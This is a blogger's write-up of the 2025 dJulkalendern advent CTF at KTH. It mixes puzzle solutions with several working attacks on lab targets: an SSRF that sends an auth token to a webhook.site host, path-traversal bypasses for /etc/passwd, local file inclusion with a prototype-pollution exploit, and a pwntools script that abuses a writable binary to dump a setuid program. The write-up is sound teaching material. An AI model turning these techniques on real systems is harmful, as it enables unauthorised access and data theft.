Every year Konglig Datasektionen, the Computer Science chapter at KTH Royal Institute of Technology, hosts a CTF-competition with one new challenge (window) per weekday December 1-24 at 12:15 CET. Most challenges are really more of a puzzle or word hunt than a traditional CTF-challenge. dJulkalendern is meant to cater to all students regardless of how far into their education they are, beginning with phone friendly riddle-like puzzles and then increases in difficult with each challenge. The solution to a challenge is always an English word.
Each year has a long and intricate (and very silly) story that runs throughout the event. More and more of the story is revealed with each challenge. This year we follow dAnkan the duck during the time leading up to and during the 2025 Olympic Games at the North Pole.
Window -1: Ready?#
This pre-challenge simply requires you to find the 22nd word in the fourth
paragraph of the lore page, which happens to be SCANDALOUS. This challenge is
not actually part of the event, just more of a way for the organizers to
properly introduce it and as a way to estimate how many are expected to join the
party.
Window 1: The champion of a beginningship#
In the story dAnkan steals a pack of duck bacon. The challenge is to decode its
ingredients: ddAAA dAAdA Adddd AdddA ddAdd. The bacon itself is a hint towards
the cipher used. A Baconian Cipher decoder
reveals the plaintext HORSE, which is the solution to the challenge.
Window 2: Trie, trie, and trie again#
The story takes presents you with a (christmas)
trie:
dAnkan scribbles some poetry and says that two words are missing and that he needs one that starts with a ‘p’.
Near nougat, never neglect.
Negotiate noir notation, note noise.
Exhausting the trie reveals that the only two words missing from the poetry are
not and negative, and from this we deduce that the solution to the challenge
is the word POSITIVE.
Window 3: Dankan’s Telephone Must Function#
We are presented with an audio file and the suspicious keyword “DTMF”. To no
surprise a portion of the file includes
DTMF encoded audio. Passing the
file through a DTMF audio file decoder outputs the
decoded 224447773555444633.
[...]
0031s .........................
0032s .........................
0033s ...................222222
0034s 2222.......2222222222....
0035s ...4444444444........4444
0036s 44444........444444444...
0037s .....777777777........777
0038s 777777........777777777..
0039s ......3333333333.......55
0040s 55555555.......5555555555
0041s .......5555555555.......4
0042s 444444444.......444444444
0043s 4........444444444.......
0044s .666666666........3333333
0045s 33........333333333......
0046s .........................
0047s .........................
0048s .........................
0049s .........................
0050s .........................
0051s .........................
0052s .......
Decoded: 224447773555444633
In this context specifically, these numbers look like what you would type to
form words on your old T9 layout phone. Sure enough, passing it through a
Multi-Tap decoder produces the word
BIRDLIME, which is the solution to the challenge.
Window 4: Crouching duck, hidden message#
The story hints a lot towards WW2 and aerospace dictionaries, with some more specific hints such as the “control room Sierra-Delta-Echo” and the fact that they’re spelling mic/microphone as “mike”. This all points towards the significance of some a phonetic alphabet. I here learned that there are lots of different phonetic alphabets, but since Winston Churchill makes an appearance in the story the most likely one was the 1943 WW2 CCB.

If you mark all mentions of a WW2 CCB word in the challenge text you will find,
in order of appearance: “how”, “easy”, “love”, “item”, “uncle”, “mike”. This
spells out the challenge solution HELIUM.
Window 5: Times for delivery#
Each challenge that is released on a Friday is traditionally a MUD in dJulkalendern and this year was no exception. The challenge greets us with an image of dAnkan playing wordle, and connecting to the MUD reveals that we will too!
::::::::: ::::::::::: ::: ::: ::: :::: :::: ::: ::: :::::::::
:+: :+: :+: :+: :+: :+: +:+:+: :+:+:+ :+: :+: :+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+:+ +:+ +:+ +:+ +:+ +:+
+#+ +:+ +#+ +#+ +:+ +#+ +#+ +:+ +#+ +#+ +:+ +#+ +:+
+#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#
######### ##### ######## ########## ### ### ######## ######### ₂.₀
Mysterious voice: What is your name?
>bk
Welcome bk! Use `help` for a list of commands.
[*] Write a 5 letter word using "guess <word>"!:
help
Available commands:
togglechat (join/leave chat room)
say <msg> (send a message in the chat room)
guess <word> (guesses the word)
retry (restarts the current wordle challenge)
reset (resets back to the first wordle)
First, there’s a regular wordle puzzle. Simple trial and error and the help of a RegEx dictionary let’s you pass this stage rather easily.
[*] Write a 5 letter word using "guess <word>"!:
guess crane
=====
....Y
guess tales
=====
..YYG
guess elves
=====
YG..G
guess blues
=====
.G.YG
guess sleds
=====
GGGGG
You did it! Onto the next challenge
The second stage is a wordle puzzle variation where we begin with a partial solve:
The word danka has GGGGG
Make your word match GG.Y.
Here the RegEx dictionary really comes in handy, since it can quickly reveal all words that match the setup. There aren’t that many so it could’ve been a bit of a pain to do by hand. Not all dictionary hits are accepted as real words by the MUD, but that’s not an issue when you have a list of many more to try.
The third and final stage was another wordle variation, this time actually making it more difficult than a regular wordle puzzle. The prompt for this stage is as follows:
Letters are skyscrapers - a large scraper may obscure smaller ones behind it.
I found this very cryptic and while the feedback after a guess showed that some information was indeed obscured I couldn’t quite figure out the rule behind it. I ended up solving it with trial and error like with a regular wordle puzzle, just with less information to go off of. Here I also used a wordle solver as help.
guess lance
.....
=====
guess hurts
?.YYY
=====
guess stork
Y????
=====
guess strip
Y?Y??
=====
guess trips
Y???Y
=====
guess first
??Y?G
=====
guess frost
????G
You did it! The word is:
/$$ /$$ /$$
| $$ | $$ |__/
/$$$$$$ | $$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$/$$$$ /$$$$$$ /$$$$$$$ /$$ /$$$$$$
|_ $$_/ | $$__ $$ /$$__ $$ /$$__ $$| $$_ $$_ $$ |____ $$| $$__ $$| $$ |____ $$
| $$ | $$ \ $$| $$$$$$$$| $$ \ $$| $$ \ $$ \ $$ /$$$$$$$| $$ \ $$| $$ /$$$$$$$
| $$ /$$| $$ | $$| $$_____/| $$ | $$| $$ | $$ | $$ /$$__ $$| $$ | $$| $$ /$$__ $$
| $$$$/| $$ | $$| $$$$$$$| $$$$$$/| $$ | $$ | $$| $$$$$$$| $$ | $$| $$| $$$$$$$
\___/ |__/ |__/ \_______/ \______/ |__/ |__/ |__/ \_______/|__/ |__/|__/ \_______/
It was later revealed in the dJulkalendern Discord server that the skyscraper part was “inspired by skyscraper clues in variant sudoku”. Essentially, if you guess the letter ‘p’ in the first position then every subsequent first position guess with any lower letter (a-o) will be obscured. The “intended” way to solve it was to guess words with only letters from the beginning of the alphabet first and the progress further through the alphabet with each guess, extracting the required information while being careful of blocking the view in future guesses:
Letters are skyscrapers - a large scraper may obscure smaller ones behind it.
=====
guess abaca
.....
=====
guess effed
.Y...
=====
guess minim
.....
=====
guess sport
Y.GYG
=====
guess frost
?GGGG
You did it!
Nonetheless, after solving the third and final stage you were presented with the
solution to this challenge, THEOMANIA.
Window 8: Something is rotten in the state of Norway#
This challenge was quite straight forward. You are given a file norsk_jul.docx
and some hints that stand out: we ask “what type of file is it?” and the last
thing in the story is dAnkan saying “If only they had left a comment …”.
Using file shows that it is actually a zip file. We unzip and notice that most
files are xml, so we can recursively search for xml comments in the unpacked
directory using grep and find the sought word HELICOPTER.
$ file norsk_jul.docx
norsk_jul.docx: Zip archive data, at least v2.0 to extract, compression method=store
$ unzip norsk_jul.docx
Archive: norsk_jul.docx
creating: pg1524/
creating: pg1524/docProps/
inflating: pg1524/docProps/app.xml
inflating: pg1524/docProps/core.xml
creating: pg1524/word/
inflating: pg1524/word/document.xml
inflating: pg1524/word/fontTable.xml
inflating: pg1524/word/settings.xml
inflating: pg1524/word/styles.xml
creating: pg1524/word/theme/
inflating: pg1524/word/theme/theme1.xml
inflating: pg1524/word/webSettings.xml
creating: pg1524/word/_rels/
inflating: pg1524/word/_rels/document.xml.rels
inflating: pg1524/[Content_Types].xml
creating: pg1524/_rels/
inflating: pg1524/_rels/.rels$ unzip norsk
$ grep -zro '<!--.*-->' pg1524
pg1524/word/document.xml:<!--
What the hell? This is just a ZIP??
This is your solution word: helicopter
Also check out this BANGER: https://www.youtube.com/watch?v=dQw4w9WgXcQ&pp=ygUJUmljayByb2xs
-->
Window 9: No mom, I can’t pause#
The challenge greets us with a screenshot showing dAnkan playing the game Counter-Strike 2 on their steam account. He rambles about 10 clues that lead to the ID of an unlisted picture. The story also mentions adding numbers on several occasions. That’s about all the clues needed to solve this challenge!
Finding dAnkans steam account was
a simple as searching for “dAnkan”. The profile info instantly looks
suspiciously like a clue.
Poking around you start to see more interesting numbers, for example in the
friends section and in the profile comments.

There are a total of 10 of these numbers located throughout the steam profile and related steam pages. Rather than describing exactly where all are found I’ll provide a summary table below.
| Location | Clue |
|---|---|
| info | 161803398 |
| comments | 602135790 |
| friends | 350987654 |
| screenshots | 314159265 |
| videos | 455 |
| reviews | 199999999 |
| guides | 271828182 |
| group discussions | 779451967 |
| group event | 512345678 |
| inventory | 423000111 |
The inventory clue was the one I found the hardest to spot. It was one of the first places I checked but I quickly disregarded it since it only had one item and I saw no numbers. Turns out the clue was there all along, hidden in the custom name tag of the item.
Summing all 10 clue numbers and using it as a steam picture ID reveals
the unlisted image spoken of.
This leads to the solution to the challenge, CHAINSAW.
Window 10: dAnkan, we have to cook#
Mostly everything needed to solve this challenge is in the included image below. On the left side there seems to be some kind of circuit with binary encoding, and the right side contains a portrait of dAnkan.

Throughout the story dAnkan draws a lot of attention to the 4-colored background
of his portrait. There’s also a mention of pipettes, hinting towards the use of
a color picker. The four background-colors are (in RGB hex): #A8AE3B,
#A2E2E8, #BBA2EA and #2B8EE0. In binary:
0xA8AE3B: 101010001010111000111011
0xA2E2E8: 101000101110001011101000
0xBBA2EA: 101110111010001011101010
0x2B8EE0: 001010111000111011100000
Towards the end of the story dAnkan says “I have never felt despair this analog, so floating. The signals she sends to me through this ancient medium tumbles me into a deep duck-pression…” The ancient analog medium is likely a hint towards morse code, explaining the circuit in the left of the image.
Interpreting the binary (all concatenated) as morse following the correct timing and where a 0 means open circuit and 1 means closed circuit, we get
... ..- --. .- .-. .--. .-.. ..- --
which is morse for SUGARPLUM, the solution to the challenge.
Window 11: Reeling in the secrets#
This challenge links to a website (“Christmas Photo Framer”) where you enter a photo URL and select a festive holiday frame to add to it. The task is to authenticating as admin and selecting the unavailable VIP picture frame.

Trying to access the admin or support page returns this error:
{
"error": "Forbidden",
"message": "You need to use the correct version of the internal browser to access the page. Please make sure you have the latest version."
}
The challenge’s story mentions user agent, the secret agents Web and Hook, the existence of a token, and dressing up to convince someone you’re one of them.
We can easily set up a webhook with https://webhook.site. Supplying the webhook URL to be framed by Christmas Photo Framer then shows the GET request from the server.

If we set our own user-agent to that of the server
(NorthPoleExplorer/7.17.4711-advent-3+sleighride.3990730628992603) we can
access the admin page, but it tells us we have to authenticate as admin first.

The login button redirects to the user to
elf-identity.internal:4000/auth?callback=http%3A%2F%2Fphotoframe.hackfest.lol%2Flogin
The support page, also accessible with the new user-agent, explains that you have to be connected to the internal network to authenticate as admin. We are not, but we know that the web server likely is!
We can trick the web server to authenticate for us by simply supplying the
self-identity.internal URL for framing. With our own webhook as callback we
can catch the response from the authentication server. Said and done, framing
http://elf-identity.internal:4000/auth?callback=https%3A%2F%2Fwebhook.site%<id>
shows that this GET request was made:
https://webhook.site/<id>?token=secret_santa_54N7AoFi53LFBuO3QjdJKN0R7HP0L3KKNLakcxR31nD33R70Y5i15N0WKCTzkN
It looks like the internal identity checker is supposed to hook back to
http://photoframe.hackfest.lol/login?token=secret_santa_54N7AoFi53LFBuO3QjdJKN0R7HP0L3KKNLakcxR31nD33R70Y5i15N0WKCTzkN
If we visit this address we have successfully circumvented the authentication, allowing us to use the VIP frame.

This reveals the solution STROBOSCOPE.
Window 12: All aboard the number train#
MUD friday again! This time you have to solve Soduko-like puzzles:
YOUR STACK [4, 1, 2, 3, 1, 4, 3, 2, 4, 1, 3, 4, 2, 3, 1, 2]
+---+---+---+---+
| | | | |
+---+---+---+---+
| | | | | E
+---+---+---+---+
| | X | | |
+---+---+---+---+
| | | | |
+---+---+---+---+
You are the X and have to make your way to the exit E. At each step that is
taken, the first number in the stack is placed in the square you just moved
from. The task is to reach the exit by walking the correct path; the path such
that the stack is empty and each row and column contain no duplicate numbers
when you reach the exit.
There’s not much more to it than thinking ahead and/or finding the correct path through trial and error. There are a total of three puzzles to complete, which you do by walking the paths shown below.



Completing the last puzzle shows the sought word THALPOSIS.
Window 14: Time for some Feedback#
This challenge is no challenge, just a feedback form for the first half of the
event that is not scored. Completing the form gives you the word
SPORTSMANSHIP.
Window 15: Bricking towers and charming snakes#
This challenge presents you with 7 different input sanitation functions, each of which you have to bypass somehow.
forbidden
def forbidden(text): text = text.replace("secret", "") return "secret" in textThe input
ssecretecretwill return true here.no_numbers_thanks
def no_numbers_thanks(text): if text.startswith("1337") or text.endswith("1337"): print("I said no numbers!") return False return int(text) == 1337Both
1_337and1337works here.no_really_no_numbers
def no_really_no_numbers(text): if "1337" in text: print("boo!") return False return int(text) == 1337Here
1_337works fine.christmas_time
def christmas_time(text): m = re.fullmatch(b"^djulkalendern$", text.encode(), re.IGNORECASE) if m is not None: print("Bad bad, don't try to sneak past") return False return text.lower() == "djulkalendern"This one was more interesting I think! Apparently the kelvin symbol
Kbecomeskwhen made into lowercase. SodjulKalendern(with kelvin symbol) will bypass the regex check and return true.path_poo_poo
def path_poo_poo(text): def remove_dots(part): return re.sub("^[. \t\r\n]+", "", part).strip() path_parts = text.split("/") # protect against path traversal path_parts = [remove_dots(part) for part in path_parts] path = "/".join(path_parts) base = "/zeus/hera/perseus/" full_path = base + path print("full_path", full_path) return os.path.normpath(full_path) == "/etc/passwd"This one took me the longest but we can simply input
../ ../ ../etc/passwd, using no-break spaces instead of regular space.path_doo_doo
def path_doo_doo(text): def removeAll(text, needles): for needle in needles: text = text.replace(needle, "") return text path_parts = text.split("/") # protect against path traversal path_parts = [removeAll(part, ["..", "\\"]) for part in path_parts] path = "/".join(path_parts) base = "/zeus/hera/perseus/" full_path = base + path print("full_path", full_path) return os.path.normpath(full_path) == "/etc/passwd"Similarly to the first one, we can input
.\\./.\\./.\\./etc/passwd.muh_keys_n_values
def muh_keys_n_values(text): def get_value(kvs, key): for (k, v) in kvs: if k == key: return v return None def get_christmas_time(kvs): christmas_time = None for (k, v) in kvs: if k == "christmas_time": christmas_time = v return christmas_time kvs = [param.split("=") for param in text.split("&")] if get_value(kvs, "christmas_time") == "YES! ho ho ho": print("It's not christmas yet! >:(") return False return get_christmas_time(kvs) == "YES! ho ho ho"The input
christmas_time=no&christmas_time=YES! ho ho howill be parsed into[ ["christmas_time", "no"], ["christmas_time", "YES! ho ho ho"] ]get_value(...)will return the first occurrence whileget_christmas_time(...)will return the last occurrence.
Completing all 7 sanitation bypasses reveals the solution to the challenge:
GYROS.
Window 16: Skis for two#
This challenge is in two parts and starts with a pcap file that somehow contains
the password to the second part. Inspecting the pcap with
wireshark reveals that it holds some interesting
TCP traffic. Most packets contain fields that read IGNOREME in the hexdump
window (shown in the bottom left in the image below).

With tshark we can filter out these packets and extract the data fields we get the password for part 2.
$ tshark -r data.pcap \
-Y 'tcp && !frame contains "IGNOREME"' `# Filter` \
-T fields -e data `# Extract data field` \
| tr -d '\n' `# Concatenate` \
| xxd -r -p `# Convert to ascii` \
| sed 's/OK$//' `# Remove trailing 'OK'` \
| base64 -d `# Base64 decode`
th15_IS_n0t_bra1nr0t_i_ONLY_kn0w_BibleThump_aND_jerma985
Part 2 has the following instruction file, paired with an audio file
jingle.ogg.
Part 2/2
jingle.ogg is your part 2 challenge; can you figure out what it is encoding?
some information necessary to solve:
Key: A minor, A₀B₁C₂D₃E₄F₅G₆a₇
Title: __i_____
Encoding Hint: E₄ + C₂ = i (Base64)
(Note that this is the roughly the same info as the metadata of the jingle.ogg file.)
I brought out my guitar and figured out that the jingle plays the notes E4 E4 E4 A4 E4 C4 D4 A4 D4 G4 E4 D4 A3 A3 G4 A3. In the notation of the instructions this would be E₄ E₄ E₄ a₇ E₄ C₂ D₃ a₇ D₃ G₆ E₄ D₃ A₀ A₀ G₆ A₀.
From the instructions we expect the title to be 7 characters long with the letter ‘i’ at position 3. There is a total of 14 notes and note 5 and 6 aligns with the encoding hint for the third character, so it seems like we should take two notes at a time and encode them according to the hint.
We can observe that the subscripts in the hint, 4 and 2, written in binary is
100 010, which in Base64 is ‘i’. If we do this for the rest of the note pairs we
get the Base64 string “knifejAw” and the sought challenge solution KNIFEJAW.
Window 17: Weak floors and unsanitary bottles#
I realize I did not take any notes when solving this challenge and I do not remember enough of it to write anything of substance here. As the challenge-specific website is no longer available I cannot redo it for the sake of completing the write-up either. What I can remember is that someone had given the feedback that dJul had too little brainrot in it. The dJul creators showed that they take feedback veeery seriously by making the UI of this challenge one of the most god-awful things I have ever seen (: Cudos to the dJul team for that!
Note to self: Take more notes.
Window 18: Am I fighting the duck?#
In this challenge you are given an mp3 file and a python script phase.py that
can encode data into audio files and decode such hidden data, along with simple
instructions on how to use it.
The script is made for wav files, so we first convert the mp3 to wav with
ffmpeg -i track.mp3 track.wav. Running the decoder finds the data
|=//=THIS=IS=NOT=THE=HIDDEN=MESSAGE|THIS=IS=NOT=THE=HIDEN=MESSAGE=//=|
|=//=THIS=IS=NO=THE=HI�DEN=LESWAGE|THIS=IS=NOT=THM=HIDTEN=MESSAGE=//=�
|#####################################################################|
|~~~~~|~~~^~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~t
|~~~~~|~16KH�~~~~~~~~~PECTRUM?~~~~~~~~~WHERE?~FREQ?~TIME?~~~~~~~~~~~~|
|~~~~~~~~~~~~~~~~~~~~~~SPECTRUM�~~~~~~~~~~~~~~~~~~~~~~~16KHZ~~^~~~~~~~|
|~~~CHANNEL?~~~~~~~~~~SPECTRUM?n~~~v~~~~~~~~~~~~~SPECTRUM?~~~~~~~~~~|
|~~~~~GOOD_LUCK~~~IT_IS_3600_|THREE^THOUSAND_SIX_HUNDRED|_CYTES_LONG~~|
|~~~~~~~n16KHZ~~~~~~~~NOISYN_ISYNOISYNOISY~v~~SPECTRUM?~~~~~~~~~~~~~~~|
|~~~~~~~~~~~~~~~~~~~~~~~~~v~~~~~16Z~~~~~~~~~~~~~~~~~~~~~GOOD_LUCK~~~|
|~~~~IT_IS_3600_|THREE_THOUSA�D_SIX_HUNDVED|_BYTES_LONG~~n~~~~~~~~v>~~|
|~~~~~~SRECTRUM?~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~16KXZ~~~~~CHINNEL?~~~~|
|~~~~~~~~~~~~~~~~~~YOW_CANNOTOGO_BACK_IN_TIME~~~~~~~~~~>CHANNEL?~~~~~~|
|~~~~GOOD_L�SKz~~v~~~~~ONLY_FORWARD~~~~~~�~~~~~~~~~~~~~~~~~~~~~n~~~~~~|
|~�~~~~~~~~~~~~16KHZ~~~~~~~~v~~~~~~~~~~~~~WHERE?~FREQ?~TIME?~~�~~~~n~~||~~~~~~~~~IT_IS_3600_|THREE_THO]SAND_SIX_HUNDRED8_BYTES_�ONG~~~~~~~~~~|
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|##################################################�+################|
|=//}TXIS=IS<ZKTTHE=HIDDEN=MESSAG�|THis=IQ=NOT=THE=HIDDEN=MESSAGE=//=|
|=//=THIS=IS?NOT=THE=XIDDEN=MESSAGE|THIS=IS=nOT=THE=HIDDEN=MESSAGE�//=|
Since the audio had had a lossy mp3 conversion we get the expectedly noisy decoded data, but it is still readable. We can read “3600 bytes long”, “channel?”, “16kHz”, “spectrum?”, “time?”.
Here I examined phase.py more thoroughly. It encodes the data in the left
channel, at the beginning of the audio file at around 14500 Hz. The “channel?”
and “16kHz” comments seem to hint at considering to look for data elsewhere.
The story several times tells you to visualize things. Here’s the spectrogram of the audio file (left channel on top, right on bottom):

Focusing on the left channel first, there seems to be a block of some data at the beginning and we can confirm that it indeed is located at around 14500 Hz. So this must be the data that we decoded earlier. In the right channel however, there appears to be a similar block of encoded data at the end of the track. This one is instead around 16000 Hz, matching the earlier hint. The block also appears to be “stretched” compared to the one in the left channel, it is about twice as long in time.
So we know that there is something in the right channel, at 16 kHz, aligned with the end of the track, and twice as wide as the data in the left channel.
We can decode this data block by modifying phase.py to reflect this. Only
three lines have to be changed:
$ diff phase.py unphase.py
39c39
< mod_size = len(data) // 4
---
> mod_size = len(data) // 2
43c43
< cutoff_ratio = (freq_max - 14500) / freq_max
---
> cutoff_ratio = (freq_max - 16000) / freq_max
46c46
< secret_phases = np.angle(np.fft.fft(data[:mod_size, 0]))[center - secret_size * 8 - shiftdown : center - shiftdown]
---
> secret_phases = np.angle(np.fft.fft(data[-mod_size:, 1]))[center - secret_size * 8 - shiftdown : center - shiftdown]
58c58
With this we can decode the secret hidden message and the solution to the
challenge, EUPHONIA.
Window 19: Substitute Santa#
Last MUD of the year! You are dropped in a tiny town:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X XXX X
X X X X
X X X X
X XXXXXXXXX X
X X Timmy X X
X X X XXXXXXXXXXXXXXX X
X X X X School XXXXXX X
X XXXXXXXXX X X X X
X X X X X
X XXXXXXX XXXXXXXXXXXXXXXXXXXX X
X XXXXXXXXXXXXXXXXX XXX▒▒▒▒▒▒▒XXX XXXXXXXXXXXXXXXX X
X X $ Store $ X X▒▒▒▒▒XXX▒▒▒▒▒X X Library X X
X X X X▒▒▒▒X X▒▒▒▒X X X X
X X X X▒▒▒▒▒XXX▒▒▒▒▒X X X X
X XXXXXXXXXXXXXXXXX XXX▒▒▒▒▒▒▒XXX XXXXXXXXXXXXXXXX X
X X XXXXXXX X X X
X XX X XXX X X XXX X X
X XXXXXXXXXXXXXXX X X XX XX XX XX XX X XX X
X X Alley XX X X XXXXXXXXXXXXXXXXXX X X
X XXXXXXXXXXXXXXXXX X X Carnival X X X
X X X X X X
X X XXXXXXXXXXXXXXXXXX X X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
After exploring a bit it is clear that this challenge is a typical substitution/trading game, where you start with $100 with the goal of acquiring enough of the presents Timmy wants for Christmas. You get his wishlist by interacting with him in his house.
This is my wishlist, ordered by how much i want each item
snowball machine : 30
snowmobile : 30
santa poster : 25
ice skates : 20
booster pack : 10
sticker (red): 2
sticker (plain): 1
Since there are quite a lot of different options for what and who to interact with (and different ways of acquiring the same items) I will limit this to a simple walkthrough of what I did and leave out the _why_s. It was mostly just a matter of trial and error and trying to exhaust all possibilities to try to get as high of a score as possible.
First, I went to the alley and bought an emp ($40) and jolly usb-stick ($25), and to the store and bought a red marker ($10). Next, I went to the carnival and got sticker (plain) by loosing the rigged lottery wheel game ($10). Combining the sticker (plain) and red marker gave me a sticker (red), which I gave to the carnival nerd at the library for a carnival themed booster pack. I used the jolly usb-stick on the library printer giving me a santa poster (monochrome) ($5) which was combined with the red marker to make a regular santa poster. Next, using the emp at the playground CCTV cameras disabled them and let me steal the snowball machine. Lastly, I went back to the carnival for another plain sticker ($10) which I again combined with the red marker for a sticker (red).
Jimmy was happy with these items (jolly usb-stick, red marker, booster pack,
santa poster, snowball machine, sticker (red)), revealing the sought solution
FUGACIOUS.
Window 22: On victory, emit gg#
This challenge presents you with a Clash Royale type game on the website http://clash.djul.se:2167. To complete the challenge you have to win the ’extreme’ level bot, which is not even made available to play against.
The story contains two major hints. Firstly, dAnkan says that we should “make the system believe we are playing against the extreme bot […]. Let something else take its place.” Secondly, dAnkan suggest we try to break the website and inspect the resulting errors.
Running DirBuster on the website
reveals a
local file inclusion
vulnerability on the /public?path= page, as it seems to accept absolute paths
to arbitrary files. While it blocks path traversals with .., we might be able
to get our hands on the server-side code if we knew the full path to it.
Some invalid paths happen to result in errors, such as a simple null termination
/public?path=%00:
TypeError [ERR_INVALID_ARG_VALUE]: The argument 'path' must be a string, Uint8Array, or URL without null bytes. Received '/clashroyaleapp/public/\x00'
at Object.access (node:fs:225:10)
at /clashroyaleapp/index.js:589:6
at Layer.handleRequest (/clashroyaleapp/node_modules/router/lib/layer.js:152:17)
at next (/clashroyaleapp/node_modules/router/lib/route.js:157:13)
at Route.dispatch (/clashroyaleapp/node_modules/router/lib/route.js:117:3)
at handle (/clashroyaleapp/node_modules/router/index.js:435:11)
at Layer.handleRequest (/clashroyaleapp/node_modules/router/lib/layer.js:152:17)
at /clashroyaleapp/node_modules/router/index.js:295:15
at processParams (/clashroyaleapp/node_modules/router/index.js:582:12)
at next (/clashroyaleapp/node_modules/router/index.js:291:5)
The error shows the path of the code script from where the error originated,
/clashroyaleapp/index.js, which likely is the server-side code that we are
interested in to understand the internal game logic. We get this code by
visiting http://clash.djul.se:2167/public?path=%2Fclashroyaleapp%2Findex.js.
There are two main challenges to overcome here: find out how to start a game against the extreme bot, and find a way to win such a game.
Starting with the former, this is the code that sets the bot difficulty depending on the payload the client sends the server:
socket.on("host-game", (payload) => {
if (socket.data.lobbyCode) {
destroyLobby(socket.data.lobbyCode, "Host left lobby");
}
const code = generateLobbyCode();
const lobby = createLobby(code, socket.id);
lobbies.set(code, lobby);
socket.data.lobbyCode = code;
socket.data.team = "blue";
socket.join(lobby.room);
const bots = {
alice: { mode: "easy" },
bob: { mode: "medium" },
eve: { mode: "hard" },
// santa: { mode: "extreme" } Disabled because too hard to beat
};
let botMode = null;
if (payload && payload.botName && payload.botName in bots) {
botMode = bots[payload.botName].mode || "extreme";
}
if (botMode) {
const botSocketId = `bot-${Date.now()}`;
lobby.players[botSocketId] = initializePlayerState(botSocketId, "red", {
isBot: true,
});
lobby.bot = { id: botSocketId, mode: botMode };
socket.data.lobbyCode = code;
socket.data.team = "blue";
io.to(lobby.room).emit("lobby-joined", { code });
io.to(lobby.room).emit("lobby-status", {
code,
players: getLobbyPlayers(lobby).map((p) => ({
id: p.id,
team: p.team,
})),
});
}
socket.emit("lobby-created", { code });
});
They have “disabled” the extreme bot by commenting it out. However, this conditional is flawed:
if (payload && payload.botName && payload.botName in bots) {
botMode = bots[payload.botName].mode || "extreme";
}
If the botName sent by the client would in some way exist in the bots
dictionary but not have an associated mode, then the difficulty botMode
defaults to extreme. All JavaScript objects have a __proto__ accessor, so
__proto__ in bots is true and since there’s no __proto__.mode we get
botMode = "extreme"!
I simply used the browser terminal to send arbitrary commands on the established socket. This triggers the extreme bot:
socket.emit("host-game", { botName: "__proto__" });
Next up is to find a way to beat the extreme game. I don’t think there’s any way of beating the extreme bot legitimately, even if you were to find an optimal strategy. Instead, we can recall that dAnkan in the beginning of the challenge’s story rambled something about a “second sock-rocket […] so-rocket”. We can assume that this hints towards using a second socket somehow.
It is possible to join any existing game that isn’t already full if you have the game code, like so:
socket.emit("join-game", { code: <code> });
If we join the generated bot game with a second client before the bot itself can join, then we would control both players and there would be no extreme bot in the lobby, yet it would still be an extreme level game. To achieve this we have to join our own game within the server’s tick rate of 100 ms. This is done rather simply by creating a second socket and a function that instantly joins the game of the first socket. Lastly we trigger an extreme game as previously described.
const s2 = io();
socket.on("lobby-joined", (data) => {
s2.emit("join-game", { code: data.code });
});
socket.emit("host-game", { botName: "__proto__" });
Now that we control the opponent and can choose for it to do nothing it is easy
to beat the game by just playing regularly. Upon winning we get the solution to
the challenge, ISKENDER.
Window 23: You run what I tell you to run#
This challenge gives you access to a machine with a very stripped down shell.
You are essentially limited to using only the commands cd, ls and printf.
There is a file secret that can only be read by a root user, and there’s also
a directory grischtooling with executables grischtooling/haxxxxme and
grischtooling/sl.
haxxxxme has the setuid bit set, so we
can expect to use it to get a root shell somehow, after which we would be able
to read the secret file (likely containing the challenge’s solution). Running
haxxxxme prompts you for a password, but without a better understanding of the
binary it could be really difficult to guess correctly.
sl is sl, but more interestingly is that we
have full access permissions to it. This means we could possibly overwrite it
with any other executable we may want to run, which would make the limited shell
much less limited.
My plan became to overwrite grischtooling/sl with a hexdump program to print
some encoded version of the entire grischtooling/haxxxxme executable. It would
then be possible to decode the output to recreate the executable on my local
machine, and inspect it properly.
I wrote and compiled an as simple hexdump as I could think of:
#include <stdio.h>
int main(int argc, char **argv) {
FILE *f = fopen(argv[1], "rb");
int c;
while ((c = fgetc(f)) != EOF)
printf("%02x", c);
printf("\n");
}
Then, pwntools makes it quite simple to
overwrite sl and dump haxxxxme:
from pwn import *
HOST = "lucks.djul.se"
PORT = 16767
PASSWORD= "67grischfortnite1337"
LOCAL_PATH = "./hexdump"
REMOTE_PATH = "grischtooling/sl"
CHUNK_SIZE = 200 # bytes per printf
def octal_encode(data: bytes) -> str:
# Convert raw bytes to printf-safe octal escapes
return "".join(f"\\{b:03o}" for b in data)
def main():
io = remote(HOST, PORT)
io.sendline(PASSWORD.encode()) # Password connect
with open(LOCAL_PATH, "rb") as f:
binary = f.read()
# Truncate remote file first
io.sendline(f"> {REMOTE_PATH}".encode())
# Upload in chunks
for i in range(0, len(binary), CHUNK_SIZE):
chunk = binary[i:i + CHUNK_SIZE]
encoded = octal_encode(chunk)
cmd = f"printf '{encoded}' >> {REMOTE_PATH}"
io.sendline(cmd.encode())
# Hexdump haxxxxme
io.sendline(b"./grischtooling/sl grischtooling/haxxxxme")
# Print everything we get back
io.interactive()
if __name__ == "__main__":
main()
After having decoded the dumped file we can first see that it is not stripped and thus contains debugging information, making the task of reversing it easier.
$ file haxxxxme
haxxxxme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5bed78c5c66779304f86c322a3bb306f13a0f646, for GNU/Linux 3.2.0, not stripped
We can de-compile it with
Ghidra and locate the auth
function that we are interested in (I’ve chosen appropriate types and variable
names):
void auth(void) {
int comparisonResult;
unsigned char randomData[32];
unsigned char inputPassword[40];
FILE *randomFile;
printf("enter the secret password lil bro: ");
read(0,inputPassword,256);
randomFile = fopen("/dev/urandom","rb");
if (randomFile == NULL) {
perror("fopen");
exit(1);
}
fread(randomData,1,32,randomFile);
fclose(randomFile);
comparisonResult = memcmp(inputPassword,randomData,32);
